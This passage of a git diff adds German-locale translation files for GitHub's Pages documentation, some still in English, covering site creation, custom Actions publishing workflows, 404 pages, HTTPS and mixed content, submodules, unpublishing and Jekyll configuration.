+{% endif %}
+
+{% ifversion pages-custom-workflow %}
+
+## Publishing with a custom {% data variables.product.prodname_actions %} workflow
+
+{% data reusables.pages.pages-custom-workflow-beta %}
+
+To configure your site to publish with {% data variables.product.prodname_actions %}:
+
+{% data reusables.pages.navigate-site-repo %}
+{% data reusables.repositories.sidebar-settings %}
+{% data reusables.pages.sidebar-pages %}
+1. Under "Build and deployment", under "Source", select **GitHub Actions**.
+1. {% data variables.product.product_name %} will suggest several starter workflows. If you already have a workflow to publish your site, you can skip this step. Otherwise, choose one of the options to create a {% data variables.product.prodname_actions %} workflow. For more information about creating your custom workflow, see "[Creating a custom {% data variables.product.prodname_actions %} workflow to publish your site](#creating-a-custom-github-actions-workflow-to-publish-your-site)."
+
+   {% data variables.product.prodname_pages %} does not associate a specific workflow to the {% data variables.product.prodname_pages %} settings. However, the {% data variables.product.prodname_pages %} settings will link to the workflow run that most recently deployed your site.
+
+### Creating a custom {% data variables.product.prodname_actions %} workflow to publish your site
+
+For more information about {% data variables.product.prodname_actions %}, see "[Actions](/actions)."
+
+When you configure your site to publish with {% data variables.product.prodname_actions %}, {% data variables.product.product_name %} will suggest starter workflows for common publishing scenarios. The general flow of a workflow is to:
+
+1. Trigger whenever there is a push to the default branch of the repository or whenever the workflow is run manually from the Actions tab.
+1. Use the [`actions/checkout`](https://github.com/actions/checkout) action to check out the repository contents.
+1. If required by your site, build any static site files.
+1. Use the [`actions/upload-pages-artifact`](https://github.com/actions/upload-pages-artifact) action to upload the static files as an artifact.
+1. If the workflow was triggered by a push to the default branch, use the [`actions/deploy-pages`](https://github.com/actions/deploy-pages) action to deploy the artifact. This step is skipped if the workflow was triggered by a pull request.
+
+The starter workflows use a deployment environment called `github-pages`. If your repository does not already include an environment called `github-pages`, the environment will be created automatically. We recommend that you add an environment protection rule so that only the default branch can deploy to this environment. For more information, see "[Using environments for deployment](/actions/deployment/targeting-different-environments/using-environments-for-deployment)."
+
+{% note %}
+
+**Note**: A `CNAME` file in your repository file does not automatically add or remove a custom domain. Instead, you must configure the custom domain through your repository settings or through the API. For more information, see "[Managing a custom domain for your GitHub Pages site](/pages/configuring-a-custom-domain-for-your-github-pages-site/managing-a-custom-domain-for-your-github-pages-site#configuring-a-subdomain)" and the [Pages API reference documentation](/rest/pages#update-information-about-a-github-pages-site).
+
+{% endnote %}
+
+### Troubleshooting publishing with a custom {% data variables.product.prodname_actions %} workflow
+
+For information about how to troubleshoot your {% data variables.product.prodname_actions %} workflow, see "[About monitoring and troubleshooting](/actions/monitoring-and-troubleshooting-workflows/about-monitoring-and-troubleshooting)."
+
+{% endif %}
diff --git a/translations/de-DE/content/pages/getting-started-with-github-pages/creating-a-custom-404-page-for-your-github-pages-site.md b/translations/de-DE/content/pages/getting-started-with-github-pages/creating-a-custom-404-page-for-your-github-pages-site.md
new file mode 100644
index 0000000000..3f18307c27
--- /dev/null
+++ b/translations/de-DE/content/pages/getting-started-with-github-pages/creating-a-custom-404-page-for-your-github-pages-site.md
@@ -0,0 +1,38 @@
+---
+title: Eine benutzerdefinierte 404-Seite für Ihre GitHub Pages-Website erstellen
+intro: 'Du kannst eine benutzerdefinierte 404-Fehler-Seite anzeigen lassen, wenn Benutzer versuchen, nicht vorhandene Seiten auf Deiner Website aufzurufen.'
+redirect_from:
+  - /articles/custom-404-pages
+  - /articles/creating-a-custom-404-page-for-your-github-pages-site
+  - /github/working-with-github-pages/creating-a-custom-404-page-for-your-github-pages-site
+product: '{% data reusables.gated-features.pages %}'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pages
+shortTitle: Create custom 404 page
+ms.openlocfilehash: 1b10946277d90773b847b929d85a3b6cf8212a4e
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '147880565'
+---
+{% data reusables.pages.navigate-site-repo %} {% data reusables.pages.navigate-publishing-source %} {% data reusables.files.add-file %}
+3. Gib in das Feld `404.html` oder `404.md` ein.
+  ![Feld für Dateinamen](/assets/images/help/pages/404-file-name.png)
+4. Wenn Du die Datei `404.md` genannt hast, füge den folgenden YAML-Frontmatter am Anfang der Datei hinzu:
+  ```yaml
+  ---
+  permalink: /404.html
+  ---
+  ```
+5. Füge unter dem YAML-Frontmatter, so vorhanden, den Inhalt ein, der auf Deiner 404-Seite angezeigt werden soll.
+{% data reusables.files.write_commit_message %} {% data reusables.files.choose-commit-email %} {% data reusables.files.choose_commit_branch %} {% data reusables.files.propose_new_file %}
+
+## Weiterführende Themen
+
+- [Frontmatter](http://jekyllrb.com/docs/frontmatter) in der Jekyll-Dokumentation
diff --git a/translations/de-DE/content/pages/getting-started-with-github-pages/creating-a-github-pages-site.md b/translations/de-DE/content/pages/getting-started-with-github-pages/creating-a-github-pages-site.md
new file mode 100644
index 0000000000..6316dc931b
--- /dev/null
+++ b/translations/de-DE/content/pages/getting-started-with-github-pages/creating-a-github-pages-site.md
@@ -0,0 +1,71 @@
+---
+title: Creating a GitHub Pages site
+intro: 'You can create a {% data variables.product.prodname_pages %} site in a new or existing repository.'
+redirect_from:
+  - /articles/creating-pages-manually
+  - /articles/creating-project-pages-manually
+  - /articles/creating-project-pages-from-the-command-line
+  - /articles/creating-project-pages-using-the-command-line
+  - /articles/creating-a-github-pages-site
+  - /github/working-with-github-pages/creating-a-github-pages-site
+product: '{% data reusables.gated-features.pages %}'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pages
+shortTitle: Create a GitHub Pages site
+---
+
+{% data reusables.pages.org-owners-can-restrict-pages-creation %}
+
+## Creating a repository for your site
+
+{% data reusables.pages.new-or-existing-repo %}
+
+{% data reusables.repositories.create_new %}
+{% data reusables.repositories.owner-drop-down %}
+{% indented_data_reference reusables.pages.emu-org-only spaces=3 %}
+{% data reusables.pages.create-repo-name %}
+{% data reusables.repositories.choose-repo-visibility %}
+{% data reusables.repositories.initialize-with-readme %}
+{% data reusables.repositories.create-repo %}
+
+## Creating your site
+
+{% data reusables.pages.must-have-repo-first %}
+
+{% data reusables.pages.private_pages_are_public_warning %}
+
+{% data reusables.pages.navigate-site-repo %}
+{% data reusables.pages.decide-publishing-source %}
+1. Create the entry file for your site. {% data variables.product.prodname_pages %} will look for an `index.html`, `index.md`, or `README.md` file as the entry file for your site.
+
+   {% ifversion pages-custom-workflow %}If your publishing source is a branch and folder, the entry file must be at the top level of the source folder on the source branch. For example, if your publishing source is the `/docs` folder on the `main` branch, your entry file must be located in the `/docs` folder on a branch called `main`.
+
+   If your publishing source is a {% data variables.product.prodname_actions %} workflow, the artifact that you deploy must include the entry file at the top level of the artifact. Instead of adding the entry file to your repository, you may choose to have your {% data variables.product.prodname_actions %} workflow generate your entry file when the workflow runs.{% else %}
+   The entry file must be at the top level of your chosen publishing source. For example, if your publishing source is the `/docs` folder on the `main` branch, your entry file must be located in the `/docs` folder on a branch called `main`.{% endif %}
+{% data reusables.pages.configure-publishing-source %}
+{% data reusables.repositories.sidebar-settings %}
+{% data reusables.pages.sidebar-pages %}
+{% data reusables.pages.choose-visibility %}
+{% data reusables.pages.visit-site %}
+{% data reusables.pages.check-workflow-run %}
+
+{% data reusables.pages.admin-must-push %}
+
+## Next steps
+
+You can add more pages to your site by creating more new files. Each file will be available on your site in the same directory structure as your publishing source. For example, if the publishing source for your project site is the `gh-pages` branch, and you create a new file called `/about/contact-us.md` on the `gh-pages` branch, the file will be available at {% ifversion fpt or ghec %}`https://<user>.github.io/<repository>/{% else %}`http(s)://<hostname>/pages/<username>/<repository>/{% endif %}about/contact-us.html`.
+
+You can also add a theme to customize your site’s look and feel. For more information, see "[Adding a theme to your {% data variables.product.prodname_pages %} site using Jekyll](/articles/adding-a-theme-to-your-github-pages-site-using-jekyll)".
+
+To customize your site even more, you can use Jekyll, a static site generator with built-in support for {% data variables.product.prodname_pages %}. For more information, see "[About {% data variables.product.prodname_pages %} and Jekyll](/articles/about-github-pages-and-jekyll)".
+
+## Further reading
+
+- "[Troubleshooting Jekyll build errors for {% data variables.product.prodname_pages %} sites](/articles/troubleshooting-jekyll-build-errors-for-github-pages-sites)"
+- "[Creating and deleting branches within your repository](/articles/creating-and-deleting-branches-within-your-repository)"
+- "[Creating new files](/articles/creating-new-files)"
diff --git a/translations/de-DE/content/pages/getting-started-with-github-pages/index.md b/translations/de-DE/content/pages/getting-started-with-github-pages/index.md
new file mode 100644
index 0000000000..b23effa5e4
--- /dev/null
+++ b/translations/de-DE/content/pages/getting-started-with-github-pages/index.md
@@ -0,0 +1,34 @@
+---
+title: Erste Schritte mit GitHub Pages
+intro: 'Du kannst eine grundlegende {% data variables.product.prodname_pages %}-Website für sich selbst, für deine Organisation oder für dein Projekt einrichten.'
+redirect_from:
+  - /categories/github-pages-basics
+  - /articles/additional-customizations-for-github-pages
+  - /articles/getting-started-with-github-pages
+  - /github/working-with-github-pages/getting-started-with-github-pages
+product: '{% data reusables.gated-features.pages %}'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pages
+children:
+  - /about-github-pages
+  - /creating-a-github-pages-site
+  - /configuring-a-publishing-source-for-your-github-pages-site
+  - /changing-the-visibility-of-your-github-pages-site
+  - /creating-a-custom-404-page-for-your-github-pages-site
+  - /securing-your-github-pages-site-with-https
+  - /using-submodules-with-github-pages
+  - /unpublishing-a-github-pages-site
+shortTitle: Get started
+ms.openlocfilehash: 4945585f635543fefe2f60de2f82b49bf4d10e84
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148109270'
+---
+
diff --git a/translations/de-DE/content/pages/getting-started-with-github-pages/securing-your-github-pages-site-with-https.md b/translations/de-DE/content/pages/getting-started-with-github-pages/securing-your-github-pages-site-with-https.md
new file mode 100644
index 0000000000..ba9d729c48
--- /dev/null
+++ b/translations/de-DE/content/pages/getting-started-with-github-pages/securing-your-github-pages-site-with-https.md
@@ -0,0 +1,70 @@
+---
+title: Securing your GitHub Pages site with HTTPS
+intro: 'HTTPS adds a layer of encryption that prevents others from snooping on or tampering with traffic to your site. You can enforce HTTPS for your {% data variables.product.prodname_pages %} site to transparently redirect all HTTP requests to HTTPS.'
+product: '{% data reusables.gated-features.pages %}'
+redirect_from:
+  - /articles/securing-your-github-pages-site-with-https
+  - /github/working-with-github-pages/securing-your-github-pages-site-with-https
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Pages
+shortTitle: Secure site with HTTPS
+---
+
+People with admin permissions for a repository can enforce HTTPS for a {% data variables.product.prodname_pages %} site.
+
+## About HTTPS and {% data variables.product.prodname_pages %}
+
+All {% data variables.product.prodname_pages %} sites, including sites that are correctly configured with a custom domain, support HTTPS and HTTPS enforcement. For more information about custom domains, see "[About custom domains and {% data variables.product.prodname_pages %}](/articles/about-custom-domains-and-github-pages)" and "[Troubleshooting custom domains and {% data variables.product.prodname_pages %}](/articles/troubleshooting-custom-domains-and-github-pages#https-errors)."
+
+{% data reusables.pages.no_sensitive_data_pages %}
+
+{% data reusables.pages.private_pages_are_public_warning %}
+
+{% note %}
+
+**Note:** RFC3280 states that the maximum length of the common name should be 64 characters. Therefore, the entire domain name of your {% data variables.product.prodname_pages %} site must be less than 64 characters long for a certificate to be successfully created.
+
+{% endnote %}
+
+## Enforcing HTTPS for your {% data variables.product.prodname_pages %} site
+
+{% data reusables.pages.navigate-site-repo %}
+{% data reusables.repositories.sidebar-settings %}
+{% data reusables.pages.sidebar-pages %}
+3. Under "{% data variables.product.prodname_pages %}," select **Enforce HTTPS**.
+  ![Enforce HTTPS checkbox](/assets/images/help/pages/enforce-https-checkbox.png)
+
+## Troubleshooting certificate provisioning ("Certificate not yet created" error)
+
+When you set or change your custom domain in the Pages settings, an automatic DNS check begins. This check determines if your DNS settings are configured to allow {% data variables.product.prodname_dotcom %} to obtain a certificate automatically. If the check is successful, {% data variables.product.prodname_dotcom %} queues a job to request a TLS certificate from [Let's Encrypt](https://letsencrypt.org/). On receiving a valid certificate, {% data variables.product.prodname_dotcom %} automatically uploads it to the servers that handle TLS termination for Pages. When this process completes successfully, a check mark is displayed beside your custom domain name.
+
+The process may take some time. If the process has not completed several minutes after you clicked **Save**, try clicking **Remove** next to your custom domain name. Retype the domain name and click **Save** again. This will cancel and restart the provisioning process.
+
+## Resolving problems with mixed content
+
+If you enable HTTPS for your {% data variables.product.prodname_pages %} site but your site's HTML still references images, CSS, or JavaScript over HTTP, then your site is serving *mixed content*. Serving mixed content may make your site less secure and cause trouble loading assets.
+
+To remove your site's mixed content, make sure all your assets are served over HTTPS by changing `http://` to `https://` in your site's HTML.
+
+Assets are commonly found in the following locations:
+- If your site uses Jekyll, your HTML files will probably be found in the *_layouts* folder.
+- CSS is usually found in the `<head>` section of your HTML file.
+- JavaScript is usually found in the `<head>` section or just before the closing `</body>` tag.
+- Images are often found in the `<body>` section.
+
+{% tip %}
+
+**Tip:** If you can't find your assets in your site's source files, try searching your site's source files for `http` in your text editor or on {% data variables.product.product_name %}.
+
+{% endtip %}
+
+### Examples of assets referenced in an HTML file
+
+| Asset type | HTTP                                      | HTTPS                             |
+|:----------:|:-----------------------------------------:|:---------------------------------:|
+| CSS        | `<link rel="stylesheet" href="http://example.com/css/main.css">` | `<link rel="stylesheet" href="https://example.com/css/main.css">`
+| JavaScript   |  `<script type="text/javascript" src="http://example.com/js/main.js"></script>`  |   `<script type="text/javascript" src="https://example.com/js/main.js"></script>`
+| Image        |  `<a href="http://www.somesite.com"><img src="http://www.example.com/logo.jpg" alt="Logo"></a>`  | `<a href="https://www.somesite.com"><img src="https://www.example.com/logo.jpg" alt="Logo"></a>`  
diff --git a/translations/de-DE/content/pages/getting-started-with-github-pages/unpublishing-a-github-pages-site.md b/translations/de-DE/content/pages/getting-started-with-github-pages/unpublishing-a-github-pages-site.md
new file mode 100644
index 0000000000..bdaf20e577
--- /dev/null
+++ b/translations/de-DE/content/pages/getting-started-with-github-pages/unpublishing-a-github-pages-site.md
@@ -0,0 +1,52 @@
+---
+title: Unpublishing a GitHub Pages site
+intro: 'You can unpublish your {% data variables.product.prodname_pages %} site so that the site is no longer available.'
+redirect_from:
+  - /articles/how-do-i-unpublish-a-project-page
+  - /articles/unpublishing-a-project-page
+  - /articles/unpublishing-a-project-pages-site
+  - /articles/unpublishing-a-user-pages-site
+  - /articles/unpublishing-a-github-pages-site
+  - /github/working-with-github-pages/unpublishing-a-github-pages-site
+product: '{% data reusables.gated-features.pages %}'
+permissions: 'People with admin or maintainer permissions for a repository can unpublish a {% data variables.product.prodname_pages %} site.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pages
+shortTitle: Unpublish Pages site
+---
+
+{% ifversion pages-custom-workflow %}
+
+When you unpublish your site, the site will no longer be available. Any existing repository settings or content will not be affected.
+
+{% data reusables.repositories.navigate-to-repo %}
+1. Under **{% data variables.product.prodname_pages %}**, next to the **Your site is live at** message, click {% octicon "kebab-horizontal" aria-label="the horizontal kebab icon" %}.
+1. In the menu that appears, select **Unpublish site**.
+
+   ![Drop down menu to unpublish site](/assets/images/help/pages/unpublish-site.png)
+
+{% else %}
+
+## Unpublishing a project site
+
+{% data reusables.repositories.navigate-to-repo %}
+2. If a `gh-pages` branch exists in the repository, delete the `gh-pages` branch. For more information, see "[Creating and deleting branches within your repository](/articles/creating-and-deleting-branches-within-your-repository#deleting-a-branch)."
+3. If the `gh-pages` branch was your publishing source, {% ifversion fpt or ghec %}skip to step 6{% else %}your site is now unpublished and you can skip the remaining steps{% endif %}.
+{% data reusables.repositories.sidebar-settings %}
+{% data reusables.pages.sidebar-pages %}
+5. Under "{% data variables.product.prodname_pages %}", use the **Source** drop-down menu and select **None.**
+  ![Drop down menu to select a publishing source](/assets/images/help/pages/publishing-source-drop-down.png)
+{% data reusables.pages.update_your_dns_settings %}
+
+## Unpublishing a user or organization site
+
+{% data reusables.repositories.navigate-to-repo %}
+2. Delete the branch that you're using as a publishing source, or delete the entire repository. For more information, see "[Creating and deleting branches within your repository](/articles/creating-and-deleting-branches-within-your-repository#deleting-a-branch)" and "[Deleting a repository](/articles/deleting-a-repository)."
+{% data reusables.pages.update_your_dns_settings %}
+
+{% endif %}
diff --git a/translations/de-DE/content/pages/getting-started-with-github-pages/using-submodules-with-github-pages.md b/translations/de-DE/content/pages/getting-started-with-github-pages/using-submodules-with-github-pages.md
new file mode 100644
index 0000000000..342d3c012a
--- /dev/null
+++ b/translations/de-DE/content/pages/getting-started-with-github-pages/using-submodules-with-github-pages.md
@@ -0,0 +1,31 @@
+---
+title: Verwenden von Submodulen mit GitHub Pages
+intro: 'Du kannst Submodule in {% data variables.product.prodname_pages %} nutzen und damit andere Projekte in den Code deiner Website einbinden.'
+redirect_from:
+  - /articles/using-submodules-with-pages
+  - /articles/using-submodules-with-github-pages
+  - /github/working-with-github-pages/using-submodules-with-github-pages
+product: '{% data reusables.gated-features.pages %}'
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Pages
+shortTitle: Use submodules with Pages
+ms.openlocfilehash: cfe863c3a7d77d006ee4c78e9d58302fb01e4dd4
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '147880798'
+---
+Wenn das Repository für Ihre {% data variables.product.prodname_pages %}-Website Submodule enthält, wird deren Inhalt automatisch beim Erstellen der Website abgerufen.
+
+Du kannst nur Submodule verwenden, die auf öffentliche Repositorys verweisen, da der {% data variables.product.prodname_pages %}-Server nicht auf private Repositorys zugreifen kann.
+
+Verwende die schreibgeschützte URL `https://` für deine Submodule, geschachtelte Submodule eingeschlossen. Du kannst diese Änderung in deiner _.gitmodules_-Datei vornehmen.
+
+## Weiterführende Themen
+
+- [Git Tools – Submodule](https://git-scm.com/book/en/Git-Tools-Submodules) aus dem _Pro Git_-Buch
+- [Behandeln von Jekyll-Buildfehlern für {% data variables.product.prodname_pages %}-Websites](/articles/troubleshooting-jekyll-build-errors-for-github-pages-sites)
diff --git a/translations/de-DE/content/pages/index.md b/translations/de-DE/content/pages/index.md
new file mode 100644
index 0000000000..33211fae0d
--- /dev/null
+++ b/translations/de-DE/content/pages/index.md
@@ -0,0 +1,59 @@
+---
+title: GitHub Pages-Dokumentation
+shortTitle: GitHub Pages
+intro: 'Erfahre, wie du eine Website direkt aus einem Repository auf {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} erstellen kannst. Erkunde Tools zur Erstellung von Websites wie Jekyll, und behandle Probleme mit deiner {% data variables.product.prodname_pages %}-Website.'
+introLinks:
+  quickstart: /pages/quickstart
+  overview: /pages/getting-started-with-github-pages/about-github-pages
+featuredLinks:
+  guides:
+    - /pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site
+    - /pages/getting-started-with-github-pages/creating-a-github-pages-site
+    - '{% ifversion fpt or ghec %}/pages/configuring-a-custom-domain-for-your-github-pages-site/managing-a-custom-domain-for-your-github-pages-site{% endif %}'
+    - '{% ifversion ghes or ghae %}/pages/setting-up-a-github-pages-site-with-jekyll/creating-a-github-pages-site-with-jekyll{% endif %}'
+    - '{% ifversion ghec %}/pages/getting-started-with-github-pages/changing-the-visibility-of-your-github-pages-site{% endif %}'
+    - '{% ifversion ghes or ghae %}/pages/setting-up-a-github-pages-site-with-jekyll/adding-content-to-your-github-pages-site-using-jekyll{% endif %}'
+  popular:
+    - '{% ifversion fpt or ghec %}/pages/configuring-a-custom-domain-for-your-github-pages-site/about-custom-domains-and-github-pages{% endif %}'
+    - /pages/setting-up-a-github-pages-site-with-jekyll/about-github-pages-and-jekyll)
+    - '{% ifversion fpt or ghec %}/pages/configuring-a-custom-domain-for-your-github-pages-site/troubleshooting-custom-domains-and-github-pages{% endif %}'
+    - '{% ifversion fpt or ghec %}/pages/getting-started-with-github-pages/securing-your-github-pages-site-with-https{% endif %}'
+    - '{% ifversion ghes or ghae %}/pages/getting-started-with-github-pages/unpublishing-a-github-pages-site{% endif %}'
+    - '{% ifversion ghes or ghae %}/pages/setting-up-a-github-pages-site-with-jekyll/testing-your-github-pages-site-locally-with-jekyll{% endif %}'
+    - '{% ifversion ghes or ghae %}/pages/setting-up-a-github-pages-site-with-jekyll/adding-a-theme-to-your-github-pages-site-using-jekyll{% endif %}'
+  guideCards:
+    - /pages/getting-started-with-github-pages/creating-a-custom-404-page-for-your-github-pages-site
+    - /pages/setting-up-a-github-pages-site-with-jekyll/adding-a-theme-to-your-github-pages-site-using-jekyll
+    - /pages/setting-up-a-github-pages-site-with-jekyll/troubleshooting-jekyll-build-errors-for-github-pages-sites
+changelog:
+  label: pages
+layout: product-landing
+redirect_from:
+  - /categories/20/articles
+  - /categories/95/articles
+  - /categories/github-pages-features
+  - /categories/96/articles
+  - /categories/github-pages-troubleshooting
+  - /categories/working-with-github-pages
+  - /github/working-with-github-pages
+product: '{% data reusables.gated-features.pages %}'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pages
+children:
+  - /quickstart
+  - /getting-started-with-github-pages
+  - /setting-up-a-github-pages-site-with-jekyll
+  - /configuring-a-custom-domain-for-your-github-pages-site
+ms.openlocfilehash: 0c054dd363dca81ef322d21538076959b9b0cbf4
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148107077'
+---
+
diff --git a/translations/de-DE/content/pages/quickstart.md b/translations/de-DE/content/pages/quickstart.md
new file mode 100644
index 0000000000..30362440dd
--- /dev/null
+++ b/translations/de-DE/content/pages/quickstart.md
@@ -0,0 +1,58 @@
+---
+title: Quickstart for GitHub Pages
+intro: 'You can use {% data variables.product.prodname_pages %} to showcase some open source projects, host a blog, or even share your résumé. This guide will help get you started on creating your next website.'
+allowTitleToDifferFromFilename: true
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: quick_start
+topics:
+  - Pages
+shortTitle: Quickstart
+product: '{% data reusables.gated-features.pages %}'
+---
+
+## Introduction
+
+{% data variables.product.prodname_pages %} are public webpages hosted and published through {% data variables.product.product_name %}. The quickest way to get up and running is by using the Jekyll Theme Chooser to load a pre-made theme. You can then modify your {% data variables.product.prodname_pages %}' content and style.
+
+This guide will lead you through creating a user site at `username.github.io`.
+
+## Creating your website
+
+{% data reusables.repositories.create_new %}
+1. Enter `username.github.io` as the repository name. Replace `username` with your {% data variables.product.prodname_dotcom %} username. For example, if your username is `octocat`, the repository name should be `octocat.github.io`.
+   ![Repository name field](/assets/images/help/pages/create-repository-name-pages.png)
+{% data reusables.repositories.sidebar-settings %}
+{% data reusables.pages.sidebar-pages %}
+1. Under "Build and deployment", under "Source", select **Deploy from a branch**.
+1. Under "Build and deployment", under "Branch", use the **None** or **Branch** drop-down menu and select a publishing source.
+
+   ![Drop-down menu to select a publishing source](/assets/images/help/pages/publishing-source-drop-down.png)
+1. Optionally, open the `README.md` file of your repository. The `README.md` file is where you will write the content for your site. You can edit the file or keep the default content for now.
+1. Visit `username.github.io` to view your new website. **Note:** It can take up to 10 minutes for changes to your site to publish after you push the changes to {% data variables.product.product_name %}.
+
+## Changing the title and description
+
+By default, the title of your site is `username.github.io`. You can change the title by editing the `_config.yml` file in your repository. You can also add a description for your site.
+
+1. Click the **Code** tab of your repository.
+1. In the file list, click `_config.yml` to open the file.
+1. Click {% octicon "pencil" aria-label="The edit icon" %} to edit the file.
+1. The `_config.yml` file already contains a line that specifies the theme for your site. Add a new line with `title:` followed by the title you want. Add a new line with `description:` followed by the description you want. For example:
+
+   ```yaml
+   theme: jekyll-theme-minimal
+   title: Octocat's homepage
+   description: Bookmark this to keep an eye on my project updates!
+   ```
+
+1. When you are done editing the file, click **Commit changes**.
+
+## Next Steps
+
+For more information about how to add additional pages to your site, see "[Adding content to your GitHub Pages site using Jekyll](/pages/setting-up-a-github-pages-site-with-jekyll/adding-content-to-your-github-pages-site-using-jekyll#about-content-in-jekyll-sites)."
+
+For more information about setting up a {% data variables.product.prodname_pages %} site with Jekyll, see "[About GitHub Pages and Jekyll](/pages/setting-up-a-github-pages-site-with-jekyll/about-github-pages-and-jekyll)."
diff --git a/translations/de-DE/content/pages/setting-up-a-github-pages-site-with-jekyll/about-github-pages-and-jekyll.md b/translations/de-DE/content/pages/setting-up-a-github-pages-site-with-jekyll/about-github-pages-and-jekyll.md
new file mode 100644
index 0000000000..d73ce7bebf
--- /dev/null
+++ b/translations/de-DE/content/pages/setting-up-a-github-pages-site-with-jekyll/about-github-pages-and-jekyll.md
@@ -0,0 +1,137 @@
+---
+title: Informationen zu GitHub Pages und Jekyll
+intro: 'Jekyll ist ein Generator für statische Websites mit integrierter Unterstützung von {% data variables.product.prodname_pages %}.'
+redirect_from:
+  - /articles/about-jekyll-themes-on-github
+  - /articles/configuring-jekyll
+  - /articles/configuring-jekyll-plugins
+  - /articles/using-syntax-highlighting-on-github-pages
+  - /articles/files-that-start-with-an-underscore-are-missing
+  - /articles/sitemaps-for-github-pages
+  - /articles/search-engine-optimization-for-github-pages
+  - /articles/repository-metadata-on-github-pages
+  - /articles/atom-rss-feeds-for-github-pages
+  - /articles/redirects-on-github-pages
+  - /articles/emoji-on-github-pages
+  - /articles/mentions-on-github-pages
+  - /articles/using-jekyll-plugins-with-github-pages
+  - /articles/adding-jekyll-plugins-to-a-github-pages-site
+  - /articles/about-github-pages-and-jekyll
+  - /github/working-with-github-pages/about-github-pages-and-jekyll
+product: '{% data reusables.gated-features.pages %}'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pages
+shortTitle: GitHub Pages & Jekyll
+ms.openlocfilehash: b0f97750f7fb4999e3b33c768ad2495f4c0b6719
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: '147648207'
+---
+## Informationen zu Jekyll
+
+Jekyll ist ein Generator für statische Websites mit integrierter Unterstützung von {% data variables.product.prodname_pages %} und einem vereinfachten Build-Prozess. Jekyll erstellt aus Markdown- und HTML-Dateien eine statische Website und nutzt dabei die von Dir ausgewählten Layouts. Jekyll unterstützt Markdown und Liquid, eine Vorlagensprache, die dynamische Inhalte auf deiner Website lädt. Weitere Informationen findest du unter [Jekyll](https://jekyllrb.com/).
+
+Jekyll wird von Windows nicht offiziell unterstützt. Weitere Informationen findest du in der Jekyll-Dokumentation unter „[Jekyll on Windows](http://jekyllrb.com/docs/windows/#installation)“.
+
+Wir empfehlen, Jekyll mit {% data variables.product.prodname_pages %} zu verwenden. Wenn du möchtest, kannst du aber auch andere Generatoren für statische Websites verwenden oder deinen eigenen Build-Prozess lokal oder auf einem anderen Server anpassen. Weitere Informationen findest du unter [Informationen zu {% data variables.product.prodname_pages %}](/articles/about-github-pages#static-site-generators).
+
+## Jekyll in der {% data variables.product.prodname_pages %}-Website konfigurieren
+
+Du kannst die meisten Jekyll-Einstellungen konfigurieren, z. B. das Design und die Plug-Ins deiner Website, indem du die Datei *_config.yml* bearbeitest. Weitere Informationen findest du in der Jekyll-Dokumentation unter „[Configuration](https://jekyllrb.com/docs/configuration/)“.
+
+Einige Konfigurationseinstellungen können für {% data variables.product.prodname_pages %}-Websites nicht geändert werden.
+
+```yaml
+lsi: false
+safe: true
+source: [your repo's top level directory]
+incremental: false
+highlighter: rouge
+gist:
+  noscript: false
+kramdown:
+  math_engine: mathjax
+  syntax_highlighter: rouge
+```
+
+Standardmäßig erstellt Jekyll keine Dateien und Ordner, auf die Folgendes zutrifft:
+- befinden sich in einem Ordner namens `/node_modules` oder `/vendor`.
+- beginnen mit `_`, `.` oder `#`.
+- enden mit `~`.
+- werden von der `exclude`-Einstellung in der Konfigurationsdatei ausgeschlossen.
+
+Wenn du möchtest, dass Jekyll solche Dateien verarbeitet, kannst du dies mit der `include`-Einstellung in der Konfigurationsdatei festlegen.
+
+## Frontmatter
+
+{% data reusables.pages.about-front-matter %}
+
+Du kannst `site.github` einem Beitrag oder einer Seite hinzufügen, um deiner Website Metadaten für Repositoryreferenzen hinzuzufügen. Weitere Informationen findest du in der Dokumentation zu Jekyll-Metadaten unter „[Using `site.github`](https://jekyll.github.io/github-metadata/site.github/)“.
+
+## Designs
+
+{% data reusables.pages.add-jekyll-theme %} Weitere Informationen findest du in der Jekyll-Dokumentation unter „[Themes](https://jekyllrb.com/docs/themes/)“.
+
+{% ifversion fpt or ghec %} Du kannst deiner Website auf {% data variables.product.prodname_dotcom %} ein unterstütztes Design hinzufügen. Weitere Informationen findest du unter [Unterstützte Designs](https://pages.github.com/themes/) auf der {% data variables.product.prodname_pages %}-Website und unter [Hinzufügen eines Designs zu deiner {% data variables.product.prodname_pages %}-Website mit von Jekyll](/articles/adding-a-theme-to-your-github-pages-site-using-jekyll).
+
